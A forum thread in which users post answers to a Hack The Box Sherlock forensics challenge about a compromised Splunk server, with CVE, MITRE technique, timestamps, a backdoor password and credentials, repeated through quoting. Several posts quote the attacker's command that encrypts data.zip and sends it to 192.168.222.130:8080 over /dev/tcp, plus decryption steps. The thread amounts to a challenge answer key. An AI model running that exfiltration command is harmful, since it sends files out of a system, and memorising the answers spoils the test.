[maggi]

Anyone do those HTB sherlock challenges?

I flew through all the answers except the one involving decrypting the message....that one got me stuck so I went back to it and got stuck again.

[maggi]

I forgot about this one until I went to update my system.....
If anyone wants answers:


[Task 1]

What CVE did the attacker use to exploit the vulnerability?

#64 has a splunk cve

CVE-2023-46214

[Task 2]

What MITRE technique does the attacker use to maintain persistence?
nginx account creation

T1136

[Task 3]

John has adjusted the timezone but hasn't rebooted the computer yet, which has led to some things either being updated or not updated with the new timezone. Identifying the timezone can assist you further in your investigation.
What was the default timezone and the timezone after John's adjustment on this machine?

it says hochi minh +07 and PDT which was hard to spot soo utc-07/utc+07

utc-07/utc+07

[Task 4]

When did the attacker SSH in? (UTC)
just look at the time

04-14 15:00:21

[Task 5]

How much time has passed from when the user was first created to when the attacker stopped using SSH?
2:48 total ssh....time sooo nginx account creation time+ 2:48

00:02:55

[Task 6]

What is the password for the account that the attacker used to backdoor?
Decode the base64 in the pcap or logs

f8287ec2-3f9a-4a39-9076-36546ebb6a93

[Task 7]

There is a secret in the exfiltrated file, what is its content?

Still getting gobledygookwhich id probably why I forgot about it.....

sudo openssl enc -aes-256-cbc -iv $(cut -c 1-32 <<< $(uname -r | md5sum)) -K $(cut -c 1-64 <<< $(date +%s | sha256sum)) -in data.zip | base64 | dd conv=ebcdic > /dev/tcp/192.168.222.130/8080

annnd follow this to decode?
ip.src_host==192.168.222.130 && tcp.port==8080


[Task 8]

What are the username and password that the attacker uses to access Splunk?
zeek -C -r zeek.pcap

johnnyC:h3Re15j0hnNy

[kewlcat002]

Thanks for posting!

[ir0nman4l1f3]

I forgot about this one until I went to update my system.....
If anyone wants answers:


[Task 1]

What CVE did the attacker use to exploit the vulnerability?

#64 has a splunk cve

CVE-2023-46214

[Task 2]

What MITRE technique does the attacker use to maintain persistence?
nginx account creation

T1136

[Task 3]

John has adjusted the timezone but hasn't rebooted the computer yet, which has led to some things either being updated or not updated with the new timezone. Identifying the timezone can assist you further in your investigation.
What was the default timezone and the timezone after John's adjustment on this machine?

it says hochi minh +07 and PDT which was hard to spot soo utc-07/utc+07

utc-07/utc+07

[Task 4]

When did the attacker SSH in? (UTC)
just look at the time

04-14 15:00:21

[Task 5]

How much time has passed from when the user was first created to when the attacker stopped using SSH?
2:48 total ssh....time sooo nginx account creation time+ 2:48

00:02:55

[Task 6]

What is the password for the account that the attacker used to backdoor?
Decode the base64 in the pcap or logs

f8287ec2-3f9a-4a39-9076-36546ebb6a93

[Task 7]

There is a secret in the exfiltrated file, what is its content?

Still getting gobledygookwhich id probably why I forgot about it.....

sudo openssl enc -aes-256-cbc -iv $(cut -c 1-32 <<< $(uname -r | md5sum)) -K $(cut -c 1-64 <<< $(date +%s | sha256sum)) -in data.zip | base64 | dd conv=ebcdic > /dev/tcp/192.168.222.130/8080

annnd follow this to decode?
ip.src_host==192.168.222.130 && tcp.port==8080


[Task 8]

What are the username and password that the attacker uses to access Splunk?
zeek -C -r zeek.pcap

johnnyC:h3Re15j0hnNy

For Task7 - use

dd if=enc_data.zip conv=ascii bs=1 | base64 -d | openssl enc -aes-256-cbc -d -iv 4fa17640b7dfe8799f072c65b15f581d -K 3cabc6db78a034f69f16aa8986cf2e2cea05713b1e95ff9b2d80f6a71ae76b7d -out data.zip

[mhsoraa]

I forgot about this one until I went to update my system.....
If anyone wants answers:


[Task 1]

What CVE did the attacker use to exploit the vulnerability?

#64 has a splunk cve

CVE-2023-46214

[Task 2]

What MITRE technique does the attacker use to maintain persistence?
nginx account creation

T1136

[Task 3]

John has adjusted the timezone but hasn't rebooted the computer yet, which has led to some things either being updated or not updated with the new timezone. Identifying the timezone can assist you further in your investigation.
What was the default timezone and the timezone after John's adjustment on this machine?

it says hochi minh +07 and PDT which was hard to spot soo utc-07/utc+07

utc-07/utc+07

[Task 4]

When did the attacker SSH in? (UTC)
just look at the time

04-14 15:00:21

[Task 5]

How much time has passed from when the user was first created to when the attacker stopped using SSH?
2:48 total ssh....time sooo nginx account creation time+ 2:48

00:02:55

[Task 6]

What is the password for the account that the attacker used to backdoor?
Decode the base64 in the pcap or logs

f8287ec2-3f9a-4a39-9076-36546ebb6a93

[Task 7]

There is a secret in the exfiltrated file, what is its content?

Still getting gobledygookwhich id probably why I forgot about it.....

sudo openssl enc -aes-256-cbc -iv $(cut -c 1-32 <<< $(uname -r | md5sum)) -K $(cut -c 1-64 <<< $(date +%s | sha256sum)) -in data.zip | base64 | dd conv=ebcdic > /dev/tcp/192.168.222.130/8080

annnd follow this to decode?
ip.src_host==192.168.222.130 && tcp.port==8080


[Task 8]

What are the username and password that the attacker uses to access Splunk?
zeek -C -r zeek.pcap

johnnyC:h3Re15j0hnNy

For Task7 - use

dd if=enc_data.zip conv=ascii bs=1 | base64 -d | openssl enc -aes-256-cbc -d -iv 4fa17640b7dfe8799f072c65b15f581d -K 3cabc6db78a034f69f16aa8986cf2e2cea05713b1e95ff9b2d80f6a71ae76b7d -out data.zip

Task7 Answer?

[maggi]

I forgot about this one until I went to update my system.....
If anyone wants answers:


[Task 1]

What CVE did the attacker use to exploit the vulnerability?

#64 has a splunk cve

CVE-2023-46214

[Task 2]

What MITRE technique does the attacker use to maintain persistence?
nginx account creation

T1136

[Task 3]

John has adjusted the timezone but hasn't rebooted the computer yet, which has led to some things either being updated or not updated with the new timezone. Identifying the timezone can assist you further in your investigation.
What was the default timezone and the timezone after John's adjustment on this machine?

it says hochi minh +07 and PDT which was hard to spot soo utc-07/utc+07

utc-07/utc+07

[Task 4]

When did the attacker SSH in? (UTC)
just look at the time

04-14 15:00:21

[Task 5]

How much time has passed from when the user was first created to when the attacker stopped using SSH?
2:48 total ssh....time sooo nginx account creation time+ 2:48

00:02:55

[Task 6]

What is the password for the account that the attacker used to backdoor?
Decode the base64 in the pcap or logs

f8287ec2-3f9a-4a39-9076-36546ebb6a93

[Task 7]

There is a secret in the exfiltrated file, what is its content?

Still getting gobledygookwhich id probably why I forgot about it.....

sudo openssl enc -aes-256-cbc -iv $(cut -c 1-32 <<< $(uname -r | md5sum)) -K $(cut -c 1-64 <<< $(date +%s | sha256sum)) -in data.zip | base64 | dd conv=ebcdic > /dev/tcp/192.168.222.130/8080

annnd follow this to decode?
ip.src_host==192.168.222.130 && tcp.port==8080


[Task 8]

What are the username and password that the attacker uses to access Splunk?
zeek -C -r zeek.pcap

johnnyC:h3Re15j0hnNy

For Task7 - use

dd if=enc_data.zip conv=ascii bs=1 | base64 -d | openssl enc -aes-256-cbc -d -iv 4fa17640b7dfe8799f072c65b15f581d -K 3cabc6db78a034f69f16aa8986cf2e2cea05713b1e95ff9b2d80f6a71ae76b7d -out data.zip

Task7 Answer?

The post above looks like it should give the answer; I did this

In Wireshark use this filter : ip.src_host==192.168.222.130 && tcp.port==8080
Save that enitre stream as raw...
then undo the commands to get a zip with a picture of the unseen password

dd conv=ascii < raw.ebcdic > ascii_data

base64 --decode < ascii_data > decoded_data

openssl enc -d -aes-256-cbc -iv 4fa17640b7dfe8799f072c65b15f581d -K 3cabc6db78a034f69f16aa8986cf2e2cea05713b1e95ff9b2d80f6a71ae76b7d -in decoded_data -out maggi.zip

[maggi]

If you truly can't get the secret in the file from the thread here

Hidden Content

You must register or login to view this content.

[Phoka]

the sharelock was nice tho